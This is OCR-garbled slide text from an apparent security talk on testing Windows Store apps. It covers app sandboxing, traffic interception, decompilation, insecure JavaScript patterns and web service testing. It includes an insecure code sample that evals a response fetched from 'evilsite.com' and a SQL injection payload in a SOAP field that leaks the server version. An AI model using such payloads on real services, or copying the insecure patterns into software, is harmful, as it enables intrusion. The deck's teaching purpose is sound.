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The Windows Store

Store

Top categories Picks for you »

Games One of the top 5 = Among the to
) downloaded Social f ol most popular
SOC|a] apps last week . ’: - apps
Not interested T (®) > - \ Not interested

Entertainment
Photo
Music & Video Facebook Maps App

Keeping up with your friends is easier than ever with the official Maps App for Windows 8 is a service offering powerful, user-fri
Spo rt Facebook app. mapping technology and local business information -- including
Free k% 2,050 Social Free ¥k 180 Tools

Books & Reference

News & Weather

Eea(l;lth&&Dl-:iFneSS ol Er;ie\::i}r;mentapps You Tubé Ens‘iex:‘i;;ment
00 Inll’]g TVC a tC h U D Not interested L Not interested

Lifestyle

ne of the to ne of the to
| O f th p5 (0] f 1F
» \’ downloaded downloaded

Sho pplng TVCatchup Youtube Bookmarks
TVCatchup brings a new experience of watching live television to your Youtube booksmarks can booksmark any video in Youtube and
See all Windows 8 device, allowing you to watch 50 or more channels from the video many times you want. Specially, people learn somethi
Free sk 3,506 Entertainment Free Jdokok 4 85 Entertainment




The Internet as Sewer....

2 Overview < Donich Website —.. | 3] movie free download torre...
File Edit

> bing ovie free download torrel

79,700,000 RESULTS Narrow by language ~ Narrow by region +

movies torrent - Torrentz Related searches
torrentz.eu/search?f=movies ~
movies Full movies Download 1295 kb/s movies ... 1,481,020 Torrents (0.190s) Order

by rating | date ... Oculus 2013 HDRip XViD juggs ETRG » movies divx xvid ... Download Movie Tomrent File
Watch Free Movies

Free Movie Downloads Torrent Sites

Free Movies Download Full

ee movie download torrents rrentz i
= Free Download Torrent Movie Downloads
torrentz eu/fr/free+movie+download-q =

Not enough torrents? - Search within torrent files - Check your spelling - Try less or EieeMovic Pownloads NetTouent
different keywords - Try lower quality torrents Secret Movie Free Download Torrent

2012 Movie Torrent Free Download

Movies Torrents - Torrent Downloads - download free torrents!
www_torrentdownloads me/category/4/Mo bd

Movies Torrents - torrent downloads, Movies Torrents - Bittorrent download source
for torrent downloading, movies, music, games, software, tv shows, anime, and __

BitTorrent - Official Site

www bittorrent.com ~

Free, open-source file-sharing application effective for distributing very large software and
media files. Documentation, FAQ, search-engine.

The Pirate Bay - Official Site

thepiratebay.se ~

Download music, movies, games, software and much more. The Pirate Bay is the
galaxy's most resilient BitTorrent site

Videos of movie free download torrent

How To Download Download Free HD How to download ~ How to Download
Free Movies [Tor... Movies ( Torrent ... movie forrents fo...  Movies via Torre.
YouTube YouTube YouTube YouTube
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Security Architecture

Direct A
AppData ‘ ect Access Vd
Local, Temp, Roaming Communication
Brokered Access via Cloud
All other areas
.a"‘.f.. - .\".‘

Manifest

App Process

Contracts

App Process

App Process

Direct Access
Brokered Access

App Process
System APIs




Security Architecture (cont)

dCapabilities
dContracts

Broker Process



Win RT

o

File Edit View Object Project Tools Window Help

Blend for Visual Studio 2013

Projects  Assets X  States 1185 4

S |

.'3'.
New Project X

4 L) HTML (Store Apps) &1 Blank App (Universal Apps)
. .
&1 Hub/Pivot App (Universal Apps)

Windows Apps
Windows Phone Apps 2] Navigation App (Universal Apps)

b L3 XAML (Store Apps)
Objects and Timeline o x

A project for a single-page Windows and Windows Phone app
that has no predefined controls or layout.

Name BlankSharedApp1

Location Ch\Users\marionm\Documents\Visual Stud ~ Browse...
Language JavaScript e

Version 8.1 ~

oK Cancel




Dd Sto

EDIT VIEW  PROJECT BUILD DEBUG TEAM S0L TOOLS  TEST  .NET REFLECTOR  AMNALYZE  WINDOW  HELP

T | [p—" Ny C

47}
[47)

1]

FILE
o - @ W F
Process: [9096] WWAHost.exe ~ [%] Suspend ~ Hy
Disassembly Mo Source Available DOM Explorer
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN"
2 [E<html>
3 E <head><link rel="stylesheet" type="text/css
4 | <«link rel="stylesheet™ type="text/css
- =5
B

100 %%

File Edit View Object Project Tools
Projects Assets Style Rules X

Q [ B ui-dark.css
- - [ B default.css

4 B Current document [default.html)

Window Help

1 = default.html* >

P

description.html A X

DOCTYPE: XHTML 1.0 = _

"hittp:/ fwww.w3.org/ TR/ xhtml1 /DTD/xhtmll-transitional.dtd"”>

App2.sin - Blend for Visual Studio

"description/Combined.css,1:ImageSprite; /Areas/Epx/Themes/Msdn/Content:@, /Areas/Epx/Content/Css:1&amp;amp;hashiey
" href="description/2f95888e-ca34-4240-38ff-44fabe33cdcBCombined. css5,1:Linklist,2: ImageSprite,2:5iteFeedbackLink; /Areas/Epx/Theme:

Y

fr<link href="de

CS5 Properties X HTML Attributes
© Applied Style Rules

[1]
Computed Values

Winning Properties
Inline Style
selection (ui-dark.gss)

abbr, acronym, address, blockquote, cite, dl, dc

Wiew set properties only
Arrange by: Source -
4 abbr, acronym, address, blockquote, cite,...

font-weight 300 ~ m

4 Inherited from body, .win-type-xot-...

font-family "Segoe U, 'Ebrima’, ‘M., =



Store Requirements and
Certification

d Package up the App and Deploy to the Store
d Various requirements - mostly to do with development practices and content
d Give it a WACK!!

4 If it passes WACK it still may fail acceptance for the Store (but they will indicate
why)



Security Tests

]

@

Q System Scan

g Privacy
@ Update
/9 Setfings

Get full T
chicn wi
Remowval Tool

MS Removal Tool : System Scan

(fin3Z. Spamta. B

Trojan-Downloader VB Smal

Wi S0 . dam

A mult-component ms naili...
A worm that opens an IRC bac...
A Microsoft Word macro vires .

nall Trojan downdoader. ..

A Trojan Downlosder that m
This Trojan downloads othe

A Trojan Downloader that

| start |

Remave

_Ls
d have weak ACLs

istrator accounts and are

restart more than twice



Great, But.....

d  https://www.blackhat.com/html/bh-us-12/bh-us-12-archives.html
O Protect the OS

d Defeat Malware

3 App v. User or User v. App?

O User A v. User B?



Security Testing Windows Store Apps

Testing
Approaches
The Way
WERWEE
Where are Software
they? Setup
Decompilat Some
ion/C_ode Web lessons
Review Services from
JavaScript/ another

HTML country



Where are they?

dC:\Program Files\WindowsApps\
dShow hidden files and folders

dGo to Security Tab and take ownership
JdThen take control when prompted

JdMust be logged in as an Administrator



App Packages

4 Windows&pps

. CEBEEDOZ.MyCountry_2.0.0.48_xB86_ erkdrrwmitTjyt
, 205tudios.Blockweorld_2.60.1.0_neutral_ax09znfdcqrvy
. 2.05tudios. Blockworld_2.60.1.0_neutral_split.scale-140_ax08%znfdcqrvy
. 2.05tudios.Blockworld_2013.1224.1536.2087_neutral_~_ax0%nfdcqrey
) 2FEBA335. TrackpadSettings_1.0.282.0 %64  hedBgwjdwdiz2
. 2FA138F6. OverDriveMediaConsole_1.1.1.11_neutral _daech9042jmwvt
. donDemand.4cD_1.1.50.1_x64_ skngk3Bcybkhm
, DBDACEFE.Stumblelpon_3.1.2.0_neutral__9pdyksSyledulj
08C207eA CocktailFlow_2.0.0.11_x64_ gyyqpbmtgkeg
, B8DFSEETT.DiskFalcon_1.0.0.9_x86__dddevidvfndxm
) 9E2FB3E3. Twitter_1.1.13.8 x84 wgeqdkk37T2wm
, 38F0AAC2.DoodleGodFree_2.4.1.0_x64_ hns3gdbenffv

. 270Panzertax.SleepBug_1.2.0.8_neutral _dpefydfwdmirjt

. 3985tudiesinc.gool_2.0.0.7_x64  4e7418hrdeybd

, Be4D3057.MahjongDeluxe_1.0.1.34_neutral _wwipmfiborwg)
. 21364lexDrel BookReader_1.2.0.0_neutral__7y746zsha325p

J F143Martindikrmund.Escapa_2.0.0.12_neutral_4bdws|Tnzvii0
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My Credit £2.99




My Evil Hacker App!!

Buy Burger £1.99
S

Buy Chicken
'\“f £2.50

= Buy Milkshake
7 £0.25

My Credit
£2000.99






The Way we are

JWindows resource protection makes it difficult to modify WindowsApps
dChecksum prevents apps from running after modification
dVerification back to Store - hacked now fixed...

dDown to the individual App as of now



Testing Approaches

4 Attacking the Sandbox?

J Web Application

d Local Data

J Decompilation/Code Review

4 Web Services



am Windows 8.1




File Edit

Rules

Tools

View Help GET /book
28 Wing Config ) ## Replay X~ F Go | ¥ Stream

by
skt Decode

Fiddler Web Debugge

Keep: All sessions = &5 Any Process 33 Find Save | fEl @ & Browse - @ Clear Cache T TextWizard | [

7

& 77
[E]7s
[&]79
[Z]s0
@ia1
[Elaz
[Elz3
[Elz4
a5
igs
El a7
Ges
e
(A a0
FHot
e
a3
& 94
& ss
@i
@ia7
&=
@ s
& 100
& 101
[(&] 102
& 103

(& 104

Result

200
200
200
200
200
200
200
200
200
204
200
200
200
302
200
200
200
200
200

200

200

200
200

Protocol

33333399333339393393333333333333

Host

cdn. static. techradar. futurecdn.net
assets. futurecdn.net

cdn0. static. techradar. futurecdn. net
cdn. static. techradar. futurecdn. net
cdn. static. techradar. futurecdn. net
www ., google-analytics.com
www ., google-analytics.com

pixel. quantserve.com
secure-au.imrworldwide. com
b.scorecardresearch.com

odb. outbrain. com

media.vams. futurecdn.net

www . goodletagmanager. com
uk.sitestat.com

www . google.com

cdni. static. techradar. futurecdn.net
comments,webservice, techradar.com
comments.webservice, techradar. com
connect. facebook. net

platform. twitter.com
platform.linkedin. com

platform. stumbleupon. com
search-api. fie. futurenet. com
cdns.gigya.com

dnns06yrbagrg, doudfront.net
b.scorecardresearch.com

Tunnel to

b.scorecardresearch.com

LURL 2

[20140108161631img/fr_generic_texture.png

fimgffuture-tag.png

J20140108161631img/pro/headerHJogo-114.png

J20140108161631/ima/pro/headerHJogo.png

J20140108161631/imag/ftr_sprite_.png

J__utm. gif futmwey =5, 4.6 8utms =18utmn=260955347&utmhn =www. techradar. com&utme =8(Template*5! Category)9({Template-ad-arti
J__utm.giffutmwey =5. 4.6 8utms =2Butmn =138 13746 7 38utmhn =www . techradar . com&utmes =utf-8 &utmsr = 1920x 1080 &utmyvp=1903x.
Jpixel;r=1507201696;a=p-c 16aPracsolwa;labels =FuturePublishing. Tech;fpan=1;fpa=P0-10695256566-138955 133 7845;ns =0;ce=1;cm
jstorageframe ., html

fbPc1=28c2=60352168C3=Rrd=RC5=Rro=8C15=8ns__t=1339551337866&ns_c=utf-38c8=Windows %208, 1%20review %o 20%67C %,
jutils fget?url=http e 3A % 2F S 2Fwww ., techradar .. com e 2Freviews % 2Fpo-mac e 2Fsoftware % 2Foperating-s ystems % 2Fwindows-8-1-1.
jdefaultfisfiquery.vams_embed.min.js?_=1389551337879

Jatm.js?id =GTM-NGZNR 2

ffutureftechradar s ?name =reviews. pc-mac. software. operating-systems. review. artide. 1161718-a8ns_m2=yesf&ns_setsiteck=52D20F,
Jrecaptcha/apifjsfrecaptcha_ajax.js?_=1389551337923

fisflibs/plate.js?_=1389551387924

joetf1161718

juser-review /get-average-score 1161713

fen_Us5/all. s

Jwidgets.js

fin.js

J1fwidgets. js

JoetOffers?site =TRD&id=1161718-afartide_rating_percentage_rating=50&territory =GB

Jos/giglDsProxy. htm? APIKey=2_rzkIr STOacCBZeey xP-wiMBbSe -VIh4-5If0H 7UHoq0gd OfafFhas 0 QbHdlzK 09 &domain=htip 3t 34%%2F,
Jpages scripts000%/6117.j57385936

IpPcl1=28c2=1005543 287 =htp %34 %% 2F ¥ 2Fwww . techradar, com % 2Freviews 3e 2Fpc-mac e 2Fsoftware % 2Foperating-systems 5625,
apis.google. com: 443

Jp?cl1=28c2=1005548 287 =htp %34 % 2F Y% 2Fwww . techradar . com % 2Freviews % 2Fpc-mac e 2Fsoftware % 2Foperating-systems % 2F,



ClientHelper
= {} NetworkTools.NetworkTools_XamlTypelnfo

tter

miMember

1 Gieebamn Bon

public sealed class Ping : Page, [ComponentConnector

MName: MetworkTools.Ping
Assembly: NetworkTools, Version=1.0.0.0

Void

CryptoKeyAccessRule
CryptoKeyAuditRule
CrvptoKeySecurity
Ping
YUl Laue_ueie,
1

1
if (IHelpers.ChecklnternetStatus())
I

1
goto Label_0272;

»>4_ this.LoadingProgressRing.put_Visibility(C);

awaiter = WebClientHelper.GetResponse("http
if (lawaiter.get_|sCompleted())
i
1
_state=0;
_Sawaiterd = awaiter;

System.Security. AccessControl
v AccessControl
System.Security. AccessControl

mescorlib, Version=4.0.
mescorlib, Version=4.0,

etwork-tocls.com/default.aspiprog=ping&ho

builder.AwaitUnsafeOnCompleted < TaskAwaiter<string>, Ping.<ToolButten_Clic

Culture=neutral, PublicKeyToken=b77a5c361934:089
ulture=neutral, PublicKeyToken=b77a5c561934089

mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561%34=08%




Fiddler Web Debugger
ile Edit Rules Tools View Help GET /book
Win8 Config Q 44 Replay X~ b Go * Stream gﬁ% Decode | Keep: All sessions ~ @Any Process 34 Find [E] Save @ @ @Browse v@Clear(:ache T TextWizard | [& Tearoff | MSDN Search.. (@

Result  Protocol Host LURL Body Caching Content-Type Process Comments Custom I @ Statistics 3% Inspectors | 5 AutoResponder | @ Composer | % FiddlerScript

200 fiddler2.com fUpdateCheck.aspx?isBet... 577 private text/plain; ... fiddler:...
200 Tunnel to  8-820.rt. yammer,com: 443 Yamme. ..
200 Tunnel to  dub-m.hotmail.com: 443 livecom...
200 Tunnel to  outlook, office365,com: 443 livecom...

- 8-820.rt.yammer.com fcometd/connect yamme. ..

v AppContainer Loopback Exemption Utility = =

For security and reliability reasons, Windows & blocks apps from sending network traffic to the local computer. This utility enables removal of
this restriction for debugging purposes.

| Exernpt All ‘ ‘ Exempt None | Save Changes Learn more...

DisplayMame Description Package ACMName ACSID AC User(s) Binaries

4 Elements |l Special ... Setthefairies of ea..  Micros..  microso..  5-1-15-2-3302...  SECINTERMAL\ma.. (Mone)

40D 4ol donDe.. dondem.. 5-1-15-2-9438.. SECINTERMAL\ma... (Moneg)

A'World of Keflings AWorld of Keflings  Micros... microso... 5-1-15-2-3752... SECINTERNAL\ma.. (Mone)

Abyss: The Wraiths o... Abyss: The Wraith...  Artifex.. artifexm.. 5-1-15-2-2947.. SECINTERNAL\ma... (Mone)

Adera Adera Micros...  Microso... 5-1-15-2-2548... SECINTERMAL\ma... (Mone)

Adobe Reader Touch  AdobeReader Adobe.. adobesy.. 5-1-15-2-3283.. SECINTERMNAL\ma.. (MNone)

Alarm Clock Alarm_Clock ABTAIF.. afT83f7.. 5-1-15-2-1698.. SECINTERMAL\ma.. (Mone)

All My Storage All My Storage 63769A.. 6376%all.. 5-1-15-2-4144.. SECINTERMAL\ma.. (Mone)

App Radio Listen to your favo... 34628M.. 34628ni.. 5-1-15-2-4257.. SECINTERNAL\ma.. CAWINDOWS\system32..
Appl Appl 91de3f..  91de3bd.. 5-1-15-2-1335.. SECINTERNAL\ma.. CAWINDOWS\system3d. | gse select 3 single W

< >

Loopback Exemption pending for all AppContainers, Click Save Changes te commit updates,




JavaScript/HTML Apps

d Really are Web Applications and can be tested as such

d Local context versus Web context

d Run as a headless version of I[E - can be seen in task explorer as ‘wwahost.e:
d Suffer from the typical problems of apps with a good framework

d Unlikely (but possible) to get XSS

d No less likely (maybe more!) to have other flaws



File Options View

Mame

B W AHost. exe
B Wi AHost. exe
] Wi AHost. exe
] Wi AHost. exe
m WWAHost. exe
[ WiwAHost. exe
B Wi AHost. exe
B Wi AHost. exe
] Wi AHost. exe
B WWAHost.exe
] WWAHost. exe

PID

6928
45943
8644

Status

Suspended
Suspended
Suspended
Suspended
Suspended
Suspended
Suspended
Suspended
Suspended
Running

Suspended

Username

rmaricnim
marionim
marionim
marionm
Mmarionm
marionim
rmaricnim
marionim
marionim
Mmarionm

rmarionm

CPU

E8E8EE8E8888¢E88

Memeary (p...

153,368 K
168,300 K
154,036 K
116,540 K
61,976 K
60,800 K
145,100 K
28,052 K
148,900 K
33,128 K
66,404 K

Description

Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host
Microsoft WWA Host




WWA Host running in Low Integrity Proces

. EHOUTLOOKEXE 10188 gk WriteFile C:\Users\marionm\AppData\Local\Tem... SUCCESS Offset 0, Length: 28 Medium
HOUTLOOKEXE 10188 SF Thread Exit SUCCESS Thread ID: 8408, User Time: 0.0781250, Kermel Time: 0.0312500 Medium
EHOUTLOOKEXE 10188 &% Thread Exit SUCCESS Thread ID: 5652, User Time: 0.0000000, Kemel Time: 0.0000000 Medium
.. W7 svchostexe 1244 B DeviceloContral \Device\Mup SUCCESS Control: 0x1403a4 (Device:0x14 Function:233 Method: 0) System
. [m7svchostexe 1244 B DeviceloControl \Device\Mup NO MORE MATCH... Control: 0x1403a4 (Device:0x14 Function:233 Method: 0) System
%GUTLGGKEXE 10188 leﬂeFile C:\Users\marionm\AppData\Local\Micro... SUCCESS Offset 122,880, Length: 4,096, /O Flags: Non-cached, Priority: Normal ~ Medium
QUTLOOKEXE 10188 EWlﬂeFile C:\Users\marionm\AppData\Local\Micro... SUCCESS Offset 126,976, Length: 4,096, /O Flags: Non-cached., Priority: Normal ~ Medium
vchostexe Thread Create SUCCESS Thread ID: 8684 System

. wwahost exe 1616 ., Thread Create SUCCESS Thread ID: 11296 Low
. [m 7 svchostexe 720 &3 Thread Create SUCCESS Thread ID: 6572 System

.. W LiveComm.exe 4944 [ Thread Create SUCCESS Thread ID: 13276 Low
.. W7 svchostexe 1244 E DeviceloControl \Device\Mup SUCCESS Control: 0x1403a4 (Device:0x14 Function:233 Method: 0) System
.. W7 svchostexe 1244 B DeviceloControl \Device\Mup NO MORE MATCH... Control: 0x1403a4 (Device:0x14 Function:233 Method: 0) System
. IFEIPOWERPNTE.. 12264 BRea dFile CiUsers\marionm\AppData\LocaliMicro.. SUCCESS Offset 3,584, Length: 512 Medium
. IEIPOWERPNTE.. 12264 B;Rea dFile C:\Users\marionm\AppData\Local\Micro... SUCCESS Offset 3,584, Length: 512 Medium
. lF|POWERPNT.E.. 12264 mLt}ckFile C:\Users\marionm\AppData\Local\Micro... SUCCESS Exclusive: True, Offset 1,073,766,402, Length: 1, Fail Immediately: True Medium
. IFEIPOWERPNTE.. 12264 BRea dFile C:\Users\marionm\AppData\Local\Micro... SUCCESS Offset 196,608, Length: 4,096 Medium

= = —




Decompilation/Code Review

O NET Apps can be trivially decompiled but may be obfuscated
4 A lot depends on your ability to read the language

J Credentials/Keys

4 Developer Mode

 SSL -



Bad Coding Practices

Q0 Eval, ExecScript, MsAppExecUnsafelLocalFunction

|_I|

<script type="text/javascript">
5 var xhr = new XMLHttpReguest();
xhr.open ("GET", "http://evilsite.com/json.j=s", false);
xhr.onready=statechange = function () {
. if (zhr.readyState == 4) |
 if (xhr.status == 200) |
E var myChject = eval('('" + xhr.responseTxt + "}');

}

2
4
5
&
=
8
g

o

b
: xhr.=zend();
§<fscript}

[y
H oo

=
b3



var myDiv = document.createElement("div");
myDiv.innerHTML = xhr.responseText
document.body.appendChild(myDiv);

document.writeln(xhr.responselext);



Local Data

JApps can write to C:\users\username\AppData\Packages\appname

U LocalState or RemoteState



Web Services




Web Services

'xml version="1.0" encoding="utf-8"?>
<soap:body>
<Process ID xmilns="http://tempuri.org>
<id>a' and 1=0/@@version;--</id>
</Process ID>
</soap:body>

xml>
soap:body>
<soap:fault><faultcode>soap:server</faultcode> </faultstring>Server was unable to proces
request. ---&gt Conversion failed when converting the nvarchar value

Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0(X64)
June28 2012 08:36:30
Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1)'
to data type int. </faultstring>
</soap:fault>
soap:body>



Some lessons from another Country

ANoO=0ID



Insecure Data
Storage

Client Side
Injection

Security
Decisions via
Untrusted

Weak Server
Side Controls

Poor
Authorization
and
Authenticatio
n

Side Channel
Data Leakage

Insufficient
Transport Layer

Protection

Improper
Session
Handling

Broken
Cryptography




Compile with
VS

Don’t trust
remote data

Validate
content

Minimize App
Capibilities

Don’t let the

web access
WinRT

Use HTTPs

Use File
Pikcer instead of
library capabilities

Authenticate
correctly




OWASP Project

d Training Application to assist Developers and
testers

O Web Goat, Rails Goat, Droid Goat
[ Store Sheep (“A Friend for Ewe")

4 A Friend for Ewe



A Friend for Ewe

Welcome to Store Sheep - the App for Ewe and your ovine buddies!

"'/ 6}5’% *a.i 3
Create a profile for your woolie friends and upload their pictures to our secure cloud.
Then find their best match from our wide selection of "Sheep Friends" and browse their details at your leisure.

Then once you have decided on that special "Friend for Ewe", send their owner a Sheepogram message,
and hopefully the grass will get greener on both sides of the field!

About Ewe

This is all about Ewe after all. So click here to add or modify your own profile.

Your Sheep

Well actually it is really about the Sheep. Click here to start or grow your flock.

FlockWorld

Ewe and them, at home or in someone else's field. Connect those Woolie friends and send Sheepograms



TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR TR R TR TR "t TR TR TR TR TR TR TR N TR TR TR TR TR e T TR e TR TR R TR TR R TR TR e TR TR R TR TR R TR TR e TR TR e TR TR e TR TR R TR TR R TR TR R TR TR T TR N TE R TR TR TR TR TR TR TR TR TR e TR TR O TER TR TR TR O TE R TR TR TR TR TR TR SN TR T TR T TR TR TR TR TR TR TR TR T e TR TR TR TR TR TR e TR TR e TR T TR TR TR TR e TR TR e TR TR e TR TR e TR N TE e T

© Manage your Sheep in this Fold

Now the bit Ewe've been waiting for. Get started with your fold

You can add up to three Ovine friends for free - or see our Flock page for special offers when you are ready for more

Create Database | Populate Database

Manage Your Fold

Date of Birth

Breed
= @

Does your Sheep like....

Playing with other Sheep? Yos W

Eating? Yes M



Conclusion




Answers?
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